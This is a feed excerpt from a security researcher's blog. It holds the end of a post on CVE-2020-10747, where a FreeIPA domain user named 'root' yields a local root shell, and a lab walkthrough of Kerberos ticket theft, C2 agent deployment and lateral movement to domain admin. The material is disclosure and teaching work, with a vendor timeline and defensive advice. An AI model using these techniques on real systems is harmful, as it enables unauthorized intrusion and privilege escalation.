&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;05f3&quot;&gt;To explain this vulnerability I have created a small lab environment replicating the assessment environment as closely as possible. Inside our lab we have recently compromised an account with some permissions inside the environment, but lack the cleartext credentials needed to utilize sudo and escalate to root.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;cd4a&quot;&gt;Specifically compromised account had access to the “User Administrators” privilege.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;86&quot; src=&quot;/assets/specterops/2020/06/1UN90se4eI0OIRruX87Mk3A.png&quot; alt=&quot;&quot; class=&quot;wp-image-21130&quot; srcset=&quot;/assets/specterops/2020/06/1UN90se4eI0OIRruX87Mk3A.png 720w, /assets/specterops/2020/06/1UN90se4eI0OIRruX87Mk3A.png?resize=300,36 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Permissions of the User Administrators privilege&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;0467&quot;&gt;With this privilege comes a lot of different power to affect users inside the environment. Using this privilege we can make a new user inside the FreeIPA domain named&amp;nbsp;&lt;em&gt;root.&lt;/em&gt;&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;580&quot; height=&quot;462&quot; src=&quot;/assets/specterops/2020/06/1VbZDZFcOnZv41g5XcXv3iA.png&quot; alt=&quot;&quot; class=&quot;wp-image-21131&quot; srcset=&quot;/assets/specterops/2020/06/1VbZDZFcOnZv41g5XcXv3iA.png 580w, /assets/specterops/2020/06/1VbZDZFcOnZv41g5XcXv3iA.png?resize=300,239 300w&quot; sizes=&quot;auto, (max-width: 580px) 100vw, 580px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Creating a user named root&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;e3a7&quot;&gt;Once the user is created in the domain we can obtain a ticket for the account with&amp;nbsp;&lt;em&gt;kinit&lt;/em&gt;.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;665&quot; height=&quot;201&quot; src=&quot;/assets/specterops/2020/06/1Um-DR_PHklqxIzqzZx5O1A.png&quot; alt=&quot;&quot; class=&quot;wp-image-21133&quot; srcset=&quot;/assets/specterops/2020/06/1Um-DR_PHklqxIzqzZx5O1A.png 665w, /assets/specterops/2020/06/1Um-DR_PHklqxIzqzZx5O1A.png?resize=300,91 300w&quot; sizes=&quot;auto, (max-width: 665px) 100vw, 665px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Obtaining a ticket for root@WESTEROS.LOCAL&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;80c0&quot;&gt;Now we can attempt to SSH using our newly created root domain account.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;687&quot; height=&quot;248&quot; src=&quot;/assets/specterops/2020/06/12H92a6ZKee2qDiGEHc0i9w.png&quot; alt=&quot;&quot; class=&quot;wp-image-21134&quot; srcset=&quot;/assets/specterops/2020/06/12H92a6ZKee2qDiGEHc0i9w.png 687w, /assets/specterops/2020/06/12H92a6ZKee2qDiGEHc0i9w.png?resize=300,108 300w&quot; sizes=&quot;auto, (max-width: 687px) 100vw, 687px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;SSH utilizing the root domain account&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;2813&quot;&gt;As shown this drops the user into the local root account! So simply by creating a domain user for a local user we were able to authenticate using the &lt;em&gt;root@WESTEROS.LOCAL &lt;/em&gt;account and obtain the user context of the local root account&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;a379&quot;&gt;But how does this account behave when an HBAC rule prevent access to a host. To test this theory let’s make another account named&amp;nbsp;&lt;em&gt;lowpriv&amp;nbsp;&lt;/em&gt;and compare the two accounts privileges. Then we will attempt lateral movement with both accounts.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;629&quot; height=&quot;420&quot; src=&quot;/assets/specterops/2020/06/1k-W-R9j5vyDIcBK7uR-jHA.png&quot; alt=&quot;&quot; class=&quot;wp-image-21135&quot; srcset=&quot;/assets/specterops/2020/06/1k-W-R9j5vyDIcBK7uR-jHA.png 629w, /assets/specterops/2020/06/1k-W-R9j5vyDIcBK7uR-jHA.png?resize=300,200 300w&quot; sizes=&quot;auto, (max-width: 629px) 100vw, 629px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Making a lowpriv account&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;929a&quot;&gt;Now let’s compare&amp;nbsp;&lt;em&gt;lowpriv@WESTEROS.LOCAL&lt;/em&gt;&amp;nbsp;and&amp;nbsp;&lt;em&gt;root@WESTEROS.LOCAL.&lt;/em&gt;&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;406&quot; height=&quot;517&quot; src=&quot;/assets/specterops/2020/06/1kQgSO-Ta7jW2be6ExVD5GQ.png&quot; alt=&quot;&quot; class=&quot;wp-image-21136&quot; srcset=&quot;/assets/specterops/2020/06/1kQgSO-Ta7jW2be6ExVD5GQ.png 406w, /assets/specterops/2020/06/1kQgSO-Ta7jW2be6ExVD5GQ.png?resize=236,300 236w&quot; sizes=&quot;auto, (max-width: 406px) 100vw, 406px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Both accounts are not a member of any HBAC Rules or privileged groups&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;adee&quot;&gt;Now that we confirmed neither account is a member of any HBAC rules, or privileged groups let’s attempt to laterally move with each account.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;310&quot; src=&quot;/assets/specterops/2020/06/1U6DXTAdUAdHvw8YF35PQqw.png&quot; alt=&quot;&quot; class=&quot;wp-image-21137&quot; srcset=&quot;/assets/specterops/2020/06/1U6DXTAdUAdHvw8YF35PQqw.png 720w, /assets/specterops/2020/06/1U6DXTAdUAdHvw8YF35PQqw.png?resize=300,129 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Authentication Fails with&amp;nbsp;&lt;em&gt;lowpriv@WESTEROS.LOCAL&lt;/em&gt;&lt;/figcaption&gt;&lt;/figure&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;615&quot; height=&quot;271&quot; src=&quot;/assets/specterops/2020/06/1hYAHQvdK02RMHWJalHyJeA.png&quot; alt=&quot;&quot; class=&quot;wp-image-21138&quot; srcset=&quot;/assets/specterops/2020/06/1hYAHQvdK02RMHWJalHyJeA.png 615w, /assets/specterops/2020/06/1hYAHQvdK02RMHWJalHyJeA.png?resize=300,132 300w&quot; sizes=&quot;auto, (max-width: 615px) 100vw, 615px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Authentication both succeeds and returns a root shell&lt;/figcaption&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;00ef&quot;&gt;Conclusion&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;18d9&quot;&gt;This post is the culmination of my FreeIPA series. Hopefully this series has provided some value to red teamers, offensive engineers, penetration testers and blue teamers, detection engineers, system administrators. Understanding the core functionality, how it can be abused, and what the implications of the configuration decisions that we make, is critical in designing secure systems.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;644e&quot;&gt;The bug reporting process for this vulnerability was ultimately not as clean and efficient as it could have been. Despite CVE 2020–10747 being revoked, I am still grateful that a patch has been issued.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;e411&quot;&gt;If you are an administrator of a FreeIPA or IPA environment. It is critical to understand RedHat’s position on the role of Privileges and Permissions available in FreeIPA. As they stated:&lt;/p&gt;



&lt;blockquote class=&quot;wp-block-quote is-layout-flow wp-block-quote-is-layout-flow&quot;&gt;
&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;0bd4&quot;&gt;“Roles are used to classify permitted actions but are not used as a tool to implement privilege separation or to protect from privilege escalation. As a result, using privileges to gain additional privileges is not something considered unexpected.”&lt;/p&gt;
&lt;/blockquote&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;2fe6&quot;&gt;Ensure that all users inside your environment that are assigned a Role, Privilege, or Permission are treated as critical assets, and monitor these individual accounts heavily as it is not unexpected that they can be abused to obtain additional privileges inside the environment.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;ae8c&quot;&gt;DISCLOSURE TIMELINE&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;3fd5&quot;&gt;As committed as SpecterOps is to&amp;nbsp;&lt;a href=&quot;https://posts.specterops.io/a-push-toward-transparency-c385a0dd1e34&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;transparency&lt;/a&gt;, we acknowledge the speed at which attackers adopt new offensive techniques once they are made public. This is why prior to publicization of a new bug or offensive technique, we regularly inform the respective vendor of the issue, supply ample time to mitigate the issue, and notify select, trusted vendors in order to ensure that detections can be delivered to their customers as quickly as possible.&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;March 3rd, 2020: Initial Disclosure.&lt;/li&gt;



&lt;li&gt;March 3rd, 2020: RedHat security team acknowledged the disclosure and began the process to validate the vulnerability.&lt;/li&gt;



&lt;li&gt;March 18th, 2020: Update requested to confirm validation of the vulnerability.&lt;/li&gt;



&lt;li&gt;March 18th, 2020: RedHat confirms that they are still investigating the vulnerability and will report back when they have completed the validation.&lt;/li&gt;



&lt;li&gt;April 1st, 2020: RedHat validates the vulnerability, and start investigating solutions to the problem.&lt;/li&gt;



&lt;li&gt;May 5th, 2020: Update requested to see the progress the RedHat team is making on a potential fix.&lt;/li&gt;



&lt;li&gt;May 6th, 2020: RedHat responds that the issue is more difficult to remedy then expected. The SSH team does not consider this as a bug, but an expected feature, and there are ongoing discussions about the best way to solve the problem.&lt;/li&gt;



&lt;li&gt;May 22nd, 2020: RedHat reports CVE-2020–10747 has been assigned to a flaw&lt;/li&gt;



&lt;li&gt;May 26th, 2020: Disembargo date of June 15th, 2020 is agreed upon&lt;/li&gt;



&lt;li&gt;June 15th, 2020: Initial post released and CVE 2020–10747 issued&lt;/li&gt;



&lt;li&gt;June 17th, 2020: RedHat revokes CVE 2020–10747&lt;/li&gt;



&lt;li&gt;June 20th, 2020: Update requested as to the reason for the revocation&lt;/li&gt;



&lt;li&gt;June 22nd, 2020: RedHat responds that they are working to clarify the documentation of what a security boundary consists of in FreeIPA&lt;/li&gt;



&lt;li&gt;June 23rd, 2020: Update requested to provide an official statement from Red Hat on what the security boundary is in order to update this post and the resulting documentation around the vulnerability.&lt;/li&gt;



&lt;li&gt;June 26th, 2020: RedHat updates the bug documentation to reclassify the vulnerability as “CLOSED NOTABUG” and leaves a comment with their official statement&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;
</description>
        <pubDate>Sun, 28 Jun 2020 00:00:00 +0000</pubDate>
        <link>https://blog.n0pe-sled.com/2020/06/28/attacking-freeipa-part-iv-cve-2020-10747/</link>
        <guid isPermaLink="true">https://blog.n0pe-sled.com/2020/06/28/attacking-freeipa-part-iv-cve-2020-10747/</guid>
        
        <category>FreeIPA</category>
        
        <category>Vulnerability-Research</category>
        
        <category>CVE</category>
        
        
      </item>
    
      <item>
        <title>Attacking FreeIPA — Part III: Finding A Path</title>
        <description>&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;8d13&quot;&gt;This post is Part III in a series about my experiences attacking FreeIPA. In Part I of this series, we reviewed some of the background and underlying technologies utilized by FreeIPA. We also discussed several authentication mechanisms, and forms of credential material, specifically how to identify, parse, and re-use credentials as an attacker. In Part II of this series we discussed the various different types of objects inside of a FreeIPA environment, and a little bit about their significance, as well as how these objects can be enumerated to obtain situational awareness.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;8c46&quot;&gt;If you haven’t read the first two parts of the series you can find them here:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;Part 1: Authentication in FreeIPA&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;Part 2: Enumeration in FreeIPA&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;889c&quot;&gt;Lab Environment&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;05d1&quot;&gt;Before we dive into our attack path, let’s briefly review the lab environment we will be operating in. If you want to follow along I have released a post detailing how you can configure your own FreeIPA lab to follow along with this series, or even conduct your own research. You can find that post here:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/building-a-freeipa-lab-17f3f52cd8d9&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;Building a FreeIPA Lab&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;521&quot; src=&quot;/assets/specterops/2020/06/0c2O-t_lL9HEP9kv5.png&quot; alt=&quot;&quot; class=&quot;wp-image-21148&quot; srcset=&quot;/assets/specterops/2020/06/0c2O-t_lL9HEP9kv5.png 720w, /assets/specterops/2020/06/0c2O-t_lL9HEP9kv5.png?resize=300,217 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Diagram Detailing the Layout of the FreeIPA Lab Environment&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;85ff&quot;&gt;Once the lab is configured and created we can get started. Our starting point in this exercise will be ceded access to a compromised web server inside the managed FreeIPA environment. This access will be ceded through the Apfell C2 platform utilizing the Poseidon agent. The goal is to ultimately obtain an admin credential for the domain, and exfiltrate sensitive data from the SQL Database.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;967b&quot;&gt;Attack Path&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;9d59&quot;&gt;Given our ceded access we now need to start conducting some basic enumeration. For the purpose of this post I will only be focusing on the FreeIPA aspects of host enumeration, but inside of a real environment you will likely need to perform more comprehensive enumeration than shown in this post.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;1460&quot;&gt;So with our initial access my first step is to identify which user context I am currently in, and what permissions that user context holds.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;463&quot; src=&quot;/assets/specterops/2020/06/1H38yjK9ha0SB50otOq3-Iw.png&quot; alt=&quot;&quot; class=&quot;wp-image-21149&quot; srcset=&quot;/assets/specterops/2020/06/1H38yjK9ha0SB50otOq3-Iw.png 720w, /assets/specterops/2020/06/1H38yjK9ha0SB50otOq3-Iw.png?resize=300,193 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;b3a2&quot;&gt;After obtaining access to the compromised web server, we identified that we are currently inside of the&amp;nbsp;&lt;em&gt;“nginxadmin”&lt;/em&gt;&amp;nbsp;user context. The ipa management utility is also present at its default location: /usr/bin/ipa and finally, there are some tickets stored in&lt;em&gt;&amp;nbsp;/tmp/&lt;/em&gt;&amp;nbsp;one of which is readable by our user. Let’s check its validity and apply it to our Poseidon callback.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;298&quot; src=&quot;/assets/specterops/2020/06/18X4dp9v25FE00HCV2I-HKg.png&quot; alt=&quot;&quot; class=&quot;wp-image-21150&quot; srcset=&quot;/assets/specterops/2020/06/18X4dp9v25FE00HCV2I-HKg.png 720w, /assets/specterops/2020/06/18X4dp9v25FE00HCV2I-HKg.png?resize=300,124 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Identifying a valid kerberos CCACHE Ticket, and applying it to this session.&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;fa6a&quot;&gt;With this ticket imported into our agent, we can begin to enumerate the permissions associated with the “&lt;em&gt;nginxadmin”&lt;/em&gt;&amp;nbsp;account.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;319&quot; src=&quot;/assets/specterops/2020/06/1AkscBhACzORO-k_epptHOg.png&quot; alt=&quot;&quot; class=&quot;wp-image-21151&quot; srcset=&quot;/assets/specterops/2020/06/1AkscBhACzORO-k_epptHOg.png 720w, /assets/specterops/2020/06/1AkscBhACzORO-k_epptHOg.png?resize=300,133 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Utilizing IPA administrative tooling to review the user information for nginxadmin&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;9d96&quot;&gt;Based on the output above we can identify both a Sudo Rule and HBAC Rule that are applied to this account. Sudo Rules can be used to restrict or delegate the ability to execute commands as sudo on hosts enrolled in the domain. HBAC Rules are used to delegate access to specific resources. Let’s grab more information about both the Sudo Rule and the HBAC Rule.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;131&quot; src=&quot;/assets/specterops/2020/06/17uPKDNksX0gAapx-mTmekA.png&quot; alt=&quot;&quot; class=&quot;wp-image-21153&quot; srcset=&quot;/assets/specterops/2020/06/17uPKDNksX0gAapx-mTmekA.png 720w, /assets/specterops/2020/06/17uPKDNksX0gAapx-mTmekA.png?resize=300,55 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;HBACRule delegating host access&lt;/figcaption&gt;&lt;/figure&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;155&quot; src=&quot;/assets/specterops/2020/06/1n4VnYRw4Iy0PLuQyRhn4fg.png&quot; alt=&quot;&quot; class=&quot;wp-image-21154&quot; srcset=&quot;/assets/specterops/2020/06/1n4VnYRw4Iy0PLuQyRhn4fg.png 720w, /assets/specterops/2020/06/1n4VnYRw4Iy0PLuQyRhn4fg.png?resize=300,65 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Sudo Rule delegating sudo access&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;80aa&quot;&gt;Reviewing the “&lt;em&gt;Web-Admin&lt;/em&gt;” HBAC Rule shows us that “&lt;em&gt;nginxadmin&lt;/em&gt;” has access to all services on both&amp;nbsp;&lt;em&gt;“mysql.westeros.local”&lt;/em&gt;&amp;nbsp;and&amp;nbsp;&lt;em&gt;“web.westeros.local”&lt;/em&gt;. This means that we should be able to utilize SSH and SCP with a valid TGT for&amp;nbsp;&lt;em&gt;“nginxadmin”&lt;/em&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;5ecd&quot;&gt;The&amp;nbsp;&lt;em&gt;“Web-Sudo”&lt;/em&gt;&amp;nbsp;Sudo Rule shows us that&amp;nbsp;&lt;em&gt;“nginxadmin”&lt;/em&gt;&amp;nbsp;has the ability to run sudo as any user or group and for any command. This rule is applied to both&amp;nbsp;&lt;em&gt;“mysql.westeros.local”&lt;/em&gt;, and&amp;nbsp;&lt;em&gt;“web.westeros.local”&lt;/em&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;ab0d&quot;&gt;Between the HBAC Rule and the Sudo Rule&amp;nbsp;&lt;em&gt;“nginxadmin”&lt;/em&gt;&amp;nbsp;should be able to both authenticate to&amp;nbsp;&lt;em&gt;“mysql.westeros.local”&lt;/em&gt;&amp;nbsp;and execute commands as root via sudo&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;100&quot; src=&quot;/assets/specterops/2020/06/1Yq7DW1UEKpN7F2osAETC8g.png&quot; alt=&quot;&quot; class=&quot;wp-image-21155&quot; srcset=&quot;/assets/specterops/2020/06/1Yq7DW1UEKpN7F2osAETC8g.png 720w, /assets/specterops/2020/06/1Yq7DW1UEKpN7F2osAETC8g.png?resize=300,42 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Copying Poseidon payload to&amp;nbsp;&lt;em&gt;mysql.westeros.local&amp;nbsp;&lt;/em&gt;via scp, then executing it&lt;/figcaption&gt;&lt;/figure&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;39&quot; src=&quot;/assets/specterops/2020/06/1zspIojRcXOpYrYT-wWsZWQ.png&quot; alt=&quot;&quot; class=&quot;wp-image-21156&quot; srcset=&quot;/assets/specterops/2020/06/1zspIojRcXOpYrYT-wWsZWQ.png 720w, /assets/specterops/2020/06/1zspIojRcXOpYrYT-wWsZWQ.png?resize=300,16 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;New agent check-in for mysql.westeros.local demonstrating lateral movement&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;cd2c&quot;&gt;Access to mysql.westeros.local accomplishes the objective to obtain access to a sensitive database. But let’s attempt to extend access to control of the FreeIPA domain. A quick listing of /tmp/ identifies two kerberos CCACHE TGT’s. We can attempt to enumerate these tickets with our sudo privileges.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;114&quot; src=&quot;/assets/specterops/2020/06/1mIVwzEyG1oS0ABi7JtXm4w.png&quot; alt=&quot;&quot; class=&quot;wp-image-21157&quot; srcset=&quot;/assets/specterops/2020/06/1mIVwzEyG1oS0ABi7JtXm4w.png 720w, /assets/specterops/2020/06/1mIVwzEyG1oS0ABi7JtXm4w.png?resize=300,48 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Kerberos CCACHE Tickets are stored in /tmp/ by default&lt;/figcaption&gt;&lt;/figure&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;100&quot; src=&quot;/assets/specterops/2020/06/14qZpmnptPDEKD3fcPZ4zgQ.png&quot; alt=&quot;&quot; class=&quot;wp-image-21158&quot; srcset=&quot;/assets/specterops/2020/06/14qZpmnptPDEKD3fcPZ4zgQ.png 720w, /assets/specterops/2020/06/14qZpmnptPDEKD3fcPZ4zgQ.png?resize=300,42 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Klist can be used to list the principals inside of specific tickets or in the current session&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;4632&quot;&gt;In FreeIPA the&amp;nbsp;&lt;em&gt;“admin”&lt;/em&gt;&amp;nbsp;account is roughly equivalent to a&amp;nbsp;&lt;em&gt;“Domain Admin”&lt;/em&gt;&amp;nbsp;account in traditional active directory. Listing its permissions and user attributes show that it is a member of the “admins” and “trust admins” groups as well as several Sudo Rules and HBAC Rulesets.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;323&quot; src=&quot;/assets/specterops/2020/06/1vAXygp7nPdgo2jRijQPO2Q.png&quot; alt=&quot;&quot; class=&quot;wp-image-21159&quot; srcset=&quot;/assets/specterops/2020/06/1vAXygp7nPdgo2jRijQPO2Q.png 720w, /assets/specterops/2020/06/1vAXygp7nPdgo2jRijQPO2Q.png?resize=300,135 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;User properties for the “admin” account in FreeIPA&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;d4a6&quot;&gt;With sudo privileges, we can obtain access to this account by creating a copy of the existing ticket, and modifying the permissions so our current user context can utilize it. It is also possible to utilize sudo to establish another agent in the root context, removing the requirement to copy or modify permissions of the ticket.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;35&quot; src=&quot;/assets/specterops/2020/06/1KJWMCcCTMpcWhfFpaGD_Pg.png&quot; alt=&quot;&quot; class=&quot;wp-image-21160&quot; srcset=&quot;/assets/specterops/2020/06/1KJWMCcCTMpcWhfFpaGD_Pg.png 720w, /assets/specterops/2020/06/1KJWMCcCTMpcWhfFpaGD_Pg.png?resize=300,15 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Spawning a new agent as root&lt;/figcaption&gt;&lt;/figure&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;96&quot; src=&quot;/assets/specterops/2020/06/11p9Fy4dBIpJEEemN6RlsaA.png&quot; alt=&quot;&quot; class=&quot;wp-image-21161&quot; srcset=&quot;/assets/specterops/2020/06/11p9Fy4dBIpJEEemN6RlsaA.png 720w, /assets/specterops/2020/06/11p9Fy4dBIpJEEemN6RlsaA.png?resize=300,40 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Setting the KRB5CCNAME environment variable to instruct kerberos to utilize the specified ticket&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;60c8&quot;&gt;With these new permissions it should be possible to move laterally to any host inside the environment. Let’s test out this theory by obtaining an agent on&amp;nbsp;&lt;em&gt;“vault.westeros.local”.&lt;/em&gt;&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;113&quot; src=&quot;/assets/specterops/2020/06/1yZ6p6vZfQwQcmlipUlXMgA.png&quot; alt=&quot;&quot; class=&quot;wp-image-21162&quot; srcset=&quot;/assets/specterops/2020/06/1yZ6p6vZfQwQcmlipUlXMgA.png 720w, /assets/specterops/2020/06/1yZ6p6vZfQwQcmlipUlXMgA.png?resize=300,47 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Copying and executing an agent via scp and ssh&lt;/figcaption&gt;&lt;/figure&gt;



